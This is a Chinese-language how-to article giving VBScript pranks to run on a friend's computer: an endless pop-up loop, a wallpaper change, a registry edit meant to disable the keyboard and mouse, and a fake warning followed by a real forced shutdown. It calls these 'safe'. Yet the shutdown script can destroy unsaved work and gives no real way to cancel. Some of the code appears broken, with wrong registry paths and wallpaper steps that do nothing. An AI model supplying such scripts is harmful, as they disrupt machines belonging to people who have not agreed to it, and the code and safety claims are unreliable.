如何恶搞朋友的电脑用vbs代码

在朋友间的小玩笑中，使用简单的vbs（visual basic script）代码来恶搞一下对方的电脑，既有趣又安全。当然，前提是你得确保对方不会因此生气，并且不会对你的操作产生反感。下面，我们将从几个维度介绍几种简单而有趣的vbs代码，让你的恶作剧变得轻松又有趣。

一、创建无限弹窗

这是最简单的一种恶搞方式，通过无限弹窗让朋友的电脑屏幕瞬间被消息框填满。

```vbs

do

msgbox "你被恶作剧了！", vbexclamation, "恶作剧"

wscript.sleep 1000 ⁄' 每秒弹窗一次

loop

```

使用方法：

1. 打开记事本，将上述代码复制粘贴进去。

2. 将文件另存为 `.vbs` 文件，例如 `troll.vbs`。

3. 双击这个 `.vbs` 文件，见证奇迹吧！

二、修改桌面背景

将朋友的桌面背景换成一张搞笑的图片，也是一个不错的恶作剧。

```vbs

set objshell = createobject("wscript.shell")

strdesktop = objshell.specialfolders("desktop")

set objfso = createobject("scripting.filesystemobject")

strimage = "c:⁄⁄path⁄⁄to⁄⁄your⁄⁄image.jpg" ⁄' 替换成图片的实际路径

objfso.copyfile strimage, strdesktop & "⁄⁄background.bmp", true

objshell.run "control /name microsoft.personalization /page pagewallpaper", 1, true

wscript.sleep 3000 ⁄' 等待3秒以确保设置生效

objshell.run "rundll32.exe user32.dll,updateperusersystemparameters 1, true", 1, true

```

使用方法：

1. 确保图片路径正确，并将代码中的路径替换为实际图片路径。

2. 保存为 `.vbs` 文件并运行。

三、禁用鼠标和键盘

暂时禁用朋友的鼠标和键盘，看他如何应对。不过记得及时恢复，否则可能会引起不必要的麻烦。

```vbs

set objshell = createobject("wscript.shell")

objshell.run "reg add hkcu⁄⁄system⁄⁄currentcontrolset⁄⁄control⁄⁄class⁄⁄{4d36e96b-e325-11ce-bfc1-08002be10318} /v " & _

"upperfilters /t reg_multi_sz /d kbdclass /f", 0, true

objshell.run "reg add hkcu⁄⁄system⁄⁄currentcontrolset⁄⁄control⁄⁄class⁄⁄{4d36e96f-e325-11ce-bfc1-08002be10318} /v " & _

"upperfilters /t reg_multi_sz /d mouseclass /f", 0, true

wscript.sleep 5000 ⁄' 禁用5秒

⁄' 恢复鼠标和键盘

objshell.run "reg delete hkcu⁄⁄system⁄⁄currentcontrolset⁄⁄control⁄⁄class⁄⁄{4d36e96b-e325-11ce-bfc1-08002be10318} /v " & _

"upperfilters /f", 0, true

objshell.run "reg delete hkcu⁄⁄system⁄⁄currentcontrolset⁄⁄control⁄⁄class⁄⁄{4d36e96f-e325-11ce-bfc1-08002be10318} /v " & _

"upperfilters /f", 0, true

wscript.sleep 3000 ⁄' 等待3秒以确保恢复

```

使用方法：

1. 保存为 `.vbs` 文件并运行。

2. 代码将在5秒后自动恢复鼠标和键盘功能。

四、自动关机恶作剧

假装电脑要自动关机，给朋友一个措手不及。

```vbs

msgbox "哈哈，你的电脑将在10秒后关机！", vbexclamation, "恶作剧"

wscript.sleep 10000 ⁄' 等待10秒

createobject("wscript.shell").run "shutdown /s /t 1", 1, true

```

使用方法：

1. 保存为 `.vbs` 文件并运行。

2. 在显示消息框后，10秒内可以手动取消关机（当然，这取决于你的良心）。

注意事项

1. 确保恶作剧不会造成真正的麻烦：恶作剧应该是友好的，不应该导致数据丢失或系统损坏。

2. 事先告知：最好事先告诉朋友这是个小恶作剧，避免引起不必要的恐慌或误会。

3. 及时恢复：对于可能影响电脑使用的恶作剧，确保有及时恢复的方法。

通过这些简单的vbs代码，你可以在朋友间制造一些欢乐的时刻。但请记住，恶作剧应以友谊为基础，避免造成不必要的麻烦。